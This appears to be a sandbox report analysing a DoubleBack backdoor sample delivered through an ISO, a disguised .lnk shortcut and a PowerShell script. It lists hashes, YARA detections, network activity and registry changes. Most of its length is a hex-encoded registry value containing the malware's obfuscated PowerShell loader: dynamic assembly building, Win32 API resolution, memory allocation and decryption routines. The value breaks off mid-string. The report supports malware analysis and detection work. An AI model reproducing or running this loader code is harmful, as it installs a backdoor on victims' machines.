Overview
overview
10Static
static
Document-1310.iso
windows7_x64
3Document-1310.iso
windows10-2004_x64
31662.ps1
windows7_x64
11662.ps1
windows10-2004_x64
10Scan_139.jpg
windows7_x64
3Scan_139.jpg
windows10-2004_x64
3Scan_139.jpg.lnk
windows7_x64
3Scan_139.jpg.lnk
windows10-2004_x64
10x.txt
windows7_x64
1x.txt
windows10-2004_x64
1Analysis
-
max time kernel
91s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
02-06-2022 19:49
Static task
static1
Behavioral task
behavioral1
Sample
Document-1310.iso
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Document-1310.iso
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
1662.ps1
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
1662.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral5
Sample
Scan_139.jpg
Resource
win7-20220414-en
Behavioral task
behavioral6
Sample
Scan_139.jpg
Resource
win10v2004-20220414-en
Behavioral task
behavioral7
Sample
Scan_139.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral8
Sample
Scan_139.jpg.lnk
Resource
win10v2004-20220414-en
Behavioral task
behavioral9
Sample
x.txt
Resource
win7-20220414-en
Behavioral task
behavioral10
Sample
x.txt
Resource
win10v2004-20220414-en
General
-
Target
1662.ps1
-
Size
192KB
-
MD5
3f5498ca9c0d3d185bc45edf45185d07
-
SHA1
f945b742489e29dff58fd41a4f6293b6deb57533
-
SHA256
caa1268740d0b48795621f8d0e127fd4574c87de5c16f5348fadc97866d1de39
-
SHA512
34849f297613c9c2b284704e65701aa88ded0ccea1956d55233a052810149b81489c4e7b6bd0416b53d394ec676221527fbe700434756ed04827b5b9bad0334c
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
Processes:
resource yara_rule behavioral4/memory/1888-137-0x0000023076770000-0x000002307677A000-memory.dmp family_doubleback_x64 behavioral4/memory/1888-138-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/4100-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/4100-142-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exemsiexec.exeflow pid process 11 1888 powershell.exe 18 4100 msiexec.exe 19 4100 msiexec.exe 20 4100 msiexec.exe -
Modifies registry class 25 IoCs
Processes:
powershell.exemsiexec.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1662.ps1" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{120E0D11-0604-0907-0E0B-0A050904080F}\ = "{120E0D11-0604-0907-0E0B-0A050904080F}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F0B100A-120D-0613-0E08-04130800110F}\ = "{120E0D11-0604-0907-0E0B-0A050904080F}" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03060F01-0902-100F-0E07-000E1301070C}\ProgID\070C = 66756e6374696f6e20746b347b706172616d28246c65362c247374382c246763302920286e7a30202732343631373233333344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343631373233333245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343643363533363239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343631373233333245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437333734333832433234364336353336323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363137323333324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3138372d3138335d2b247073686f6d655b3134382d3131345d2b277827297d66756e6374696f6e206a76377b706172616d2824716a392c246b78372c2474793129202875673020273234373036463339334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343644363133393344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343730364633393245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373036463339324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364436313339324332343731364133393239323927297c2628247073686f6d655b3132322d3131385d2b247073686f6d655b3232332d3138395d2b277827297d66756e6374696f6e206569317b706172616d2824617a30292028727935202732343730373933333344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033333330333633303436333033313244333033393330333232443331333033303436324433303435333033373244333033303330343533313333333033313330333733303433374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333333303336323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033333330333632373342323437363645333933443238323437303739333335423333333235443242333333333239334232303234373137383338334432343730373933333542323437363645333932453245323832343736364533393242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234373137383338323933423234373037393333334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303333333033363330343633303331324433303339333033323244333133303330343632443330343533303337324433303330333034353331333333303331333033373330343337443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033373330343332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303337333034333237334232343736364533393344374232303234364536373337334433303245324533323335333533423330324532453332333533353743323537423230323436393735333333443238323436393735333332423234364536373337354232343546354432423234373137383338354232343546323532343731373833383245344336353645363737343638354432393235323832383238333333343242333733323239323932423331333533303239334232303234364536373337354232343546354432433234364536373337354232343639373533333544334432343645363733373542323436393735333335443243323436453637333735423234354635443230374432303342323437303739333337433235374232343737363833393344323832343737363833393242333132393235323832383332333233303242333333363239323933423230323437333644333933443238323437333644333932423234364536373337354232343737363833393544323932353238323832383334333333323244333133303334323932443337333232393239334232303234364536373337354232343737363833393544324332343645363733373542323437333644333935443344323436453637333735423234373336443339354432433234364536373337354232343737363833393544334232343546324436323738364637323234364536373337354232383234364536373337354232343737363833393544324232343645363733373542323437333644333935443239323532383238323833363333324233343334333632393244333233353333323932393544323037443230374432303342323437383644333932303344323032383236323032343736364533393743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343737363833393344333033423234373736383339323032443643373432303234373836443339324534433635364536373734363833423234373736383339324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323437383644333932453533373536323733373437323639364536373238323437373638333932433332323932433238323833353242323833313335324433343239323932393239323037443239323927297c2628247073686f6d655b3230312d3139375d2b247073686f6d655b3136392d3133355d2b277827297d66756e6374696f6e206670317b706172616d2824766d3729282d6a6f696e2824766d37202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e207268347b706172616d2824757a302c246261322c246a7938292028706c3520273234363937383334334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343631364233373344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343639373833343245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363937383334324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363136423337324332343735374133303239323927297c2628247073686f6d655b3131392d3131355d2b247073686f6d655b3139342d3136305d2b277827297d66756e6374696f6e207772327b706172616d2824766d3729202866703120273234364236373338334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343735363533313344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343642363733383245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364236373338324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373536353331324332343736364433373239323927297c2628247073686f6d655b3139322d3138385d2b247073686f6d655b3135362d3132325d2b277827297d2066756e6374696f6e206861357b706172616d2824766d372c24686635292028667031202732343736373933383344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343736373933383245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343736364433373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343736373933383245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436383636333532433234373636443337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373637393338324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3138352d3138315d2b247073686f6d655b3233332d3139395d2b277827297d2066756e6374696f6e207069387b706172616d2824766d372c246866352c24686f30292028667031202732343737363233333344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033333330333633303436333033313244333033393330333232443331333033303436324433303435333033373244333033303330343533313333333033313330333733303433374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333333303336323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033333330333632373342323436323631333233443238323437373632333335423333333235443242333333333239334232303234363937323330334432343737363233333542323436323631333232453245323832343632363133323242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234363937323330323933423234373736323333334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303333333033363330343633303331324433303339333033323244333133303330343632443330343533303337324433303330333034353331333333303331333033373330343337443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033373330343332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303337333034333237334232343632363133323344374232303234373036423334334433303245324533323335333533423330324532453332333533353743323537423230323436323642333233443238323436323642333232423234373036423334354232343546354432423234363937323330354232343546323532343639373233303245344336353645363737343638354432393235323832383238333333343242333733323239323932423331333533303239334232303234373036423334354232343546354432433234373036423334354232343632364233323544334432343730364233343542323436323642333235443243323437303642333435423234354635443230374432303342323437373632333337433235374232343633374133383344323832343633374133383242333132393235323832383332333233303242333333363239323933423230323436413741333833443238323436413741333832423234373036423334354232343633374133383544323932353238323832383334333333323244333133303334323932443337333232393239334232303234373036423334354232343633374133383544324332343730364233343542323436413741333835443344323437303642333435423234364137413338354432433234373036423334354232343633374133383544334232343546324436323738364637323234373036423334354232383234373036423334354232343633374133383544324232343730364233343542323436413741333835443239323532383238323833363333324233343334333632393244333233353333323932393544323037443230374432303342323436373739333632303344323032383236323032343632363133323743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343633374133383344333033423234363337413338323032443643373432303234363737393336324534433635364536373734363833423234363337413338324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436373739333632453533373536323733373437323639364536373238323436333741333832433332323932433238323833353242323833313335324433343239323932393239323037443239323927297c2628247073686f6d655b3133382d3133345d2b247073686f6d655b3232332d3138395d2b277827297d66756e6374696f6e207172377b706172616d28247872372c246465352c24746639292028626a35202732343735373233373344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033333330333633303436333033313244333033393330333232443331333033303436324433303435333033373244333033303330343533313333333033313330333733303433374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333333303336323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033333330333632373342323437323639333933443238323437353732333735423333333235443242333333333239334232303234373337323335334432343735373233373542323437323639333932453245323832343732363933393242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234373337323335323933423234373537323337334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303333333033363330343633303331324433303339333033323244333133303330343632443330343533303337324433303330333034353331333333303331333033373330343337443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033373330343332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303337333034333237334232343732363933393344374232303234373836453331334433303245324533323335333533423330324532453332333533353743323537423230323436443738333933443238323436443738333932423234373836453331354232343546354432423234373337323335354232343546323532343733373233353245344336353645363737343638354432393235323832383238333333343242333733323239323932423331333533303239334232303234373836453331354232343546354432433234373836453331354232343644373833393544334432343738364533313542323436443738333935443243323437383645333135423234354635443230374432303342323437353732333737433235374232343737373033353344323832343737373033353242333132393235323832383332333233303242333333363239323933423230323437393734333833443238323437393734333832423234373836453331354232343737373033353544323932353238323832383334333333323244333133303334323932443337333232393239334232303234373836453331354232343737373033353544324332343738364533313542323437393734333835443344323437383645333135423234373937343338354432433234373836453331354232343737373033353544334232343546324436323738364637323234373836453331354232383234373836453331354232343737373033353544324232343738364533313542323437393734333835443239323532383238323833363333324233343334333632393244333233353333323932393544323037443230374432303342323436423639333632303344323032383236323032343732363933393743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343737373033353344333033423234373737303335323032443643373432303234364236393336324534433635364536373734363833423234373737303335324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436423639333632453533373536323733373437323639364536373238323437373730333532433332323932433238323833353242323833313335324433343239323932393239323037443239323927297c2628247073686f6d655b3133312d3132375d2b247073686f6d655b3136342d3133305d2b277827297d66756e6374696f6e207a71347b706172616d28246362312c247961302c24667837292028656934202732343739373533343344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033333330333633303436333033313244333033393330333232443331333033303436324433303435333033373244333033303330343533313333333033313330333733303433374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333333303336323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033333330333632373342323436373636333633443238323437393735333435423333333235443242333333333239334232303234364636313333334432343739373533343542323436373636333632453245323832343637363633363242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234364636313333323933423234373937353334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303333333033363330343633303331324433303339333033323244333133303330343632443330343533303337324433303330333034353331333333303331333033373330343337443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033373330343332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303337333034333237334232343637363633363344374232303234373136383333334433303245324533323335333533423330324532453332333533353743323537423230323436443642333033443238323436443642333032423234373136383333354232343546354432423234364636313333354232343546323532343646363133333245344336353645363737343638354432393235323832383238333333343242333733323239323932423331333533303239334232303234373136383333354232343546354432433234373136383333354232343644364233303544334432343731363833333542323436443642333035443243323437313638333335423234354635443230374432303342323437393735333437433235374232343637373633313344323832343637373633313242333132393235323832383332333233303242333333363239323933423230323437373636333933443238323437373636333932423234373136383333354232343637373633313544323932353238323832383334333333323244333133303334323932443337333232393239334232303234373136383333354232343637373633313544324332343731363833333542323437373636333935443344323437313638333335423234373736363339354432433234373136383333354232343637373633313544334232343546324436323738364637323234373136383333354232383234373136383333354232343637373633313544324232343731363833333542323437373636333935443239323532383238323833363333324233343334333632393244333233353333323932393544323037443230374432303342323437393632333032303344323032383236323032343637363633363743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343637373633313344333033423234363737363331323032443643373432303234373936323330324534433635364536373734363833423234363737363331324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323437393632333032453533373536323733373437323639364536373238323436373736333132433332323932433238323833353242323833313335324433343239323932393239323037443239323927297c2628247073686f6d655b3139352d3139315d2b247073686f6d655b3230302d3136365d2b277827297d66756e6374696f6e20676a327b706172616d28246562312c246b753329202870663520273234363536323334334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343733373733363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343635363233343245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363536323334324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373337373336324332343635363233313239323927297c2628247073686f6d655b3136332d3135395d2b247073686f6d655b3231382d3138345d2b277827297d247762333d7069382027746170656978676a6e7a77726c756b2720276e75656f666a6d677a77647179686c72272027637177756b706c66787367726f746d657a273b66756e6374696f6e206b69347b706172616d2824737835292028797135202732343733363333373344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343733363333373245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343733373833353239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343733363333373245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437363631333732433234373337383335323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373336333337324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3138392d3138355d2b247073686f6d655b3136332d3132395d2b277827297d66756e6374696f6e20736f317b706172616d282462733229202879613320273234373737353330334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343638364433323344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343737373533303245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373737353330324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363836443332324332343632373333323239323927297c2628247073686f6d655b3138332d3137395d2b247073686f6d655b3139342d3136305d2b277827297d66756e6374696f6e206c67357b706172616d2824696336292028686430202732343741363933333344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343741363933333245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343639363333363239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343741363933333245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436423730333432433234363936333336323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234374136393333324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3130362d3130325d2b247073686f6d655b3139322d3135385d2b277827297d66756e6374696f6e207862367b706172616d28247762332c246469362c246374322c2473683829202866703120273234373036423334334435423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383737373233323230323735363639373237343735363136433431364336433646363334353738323732393243323836383631333532303430323835423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423639364537343544324335423639364537343544323932383542343936453734373037343732354432393239323932453639364537363646364236353238324433313243333032433234363436393336324332383238333433383333333132443331333233393331323932423338333733343338323932433234373336383338323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238373737323332323032373532373436433444364637363635344436353644364637323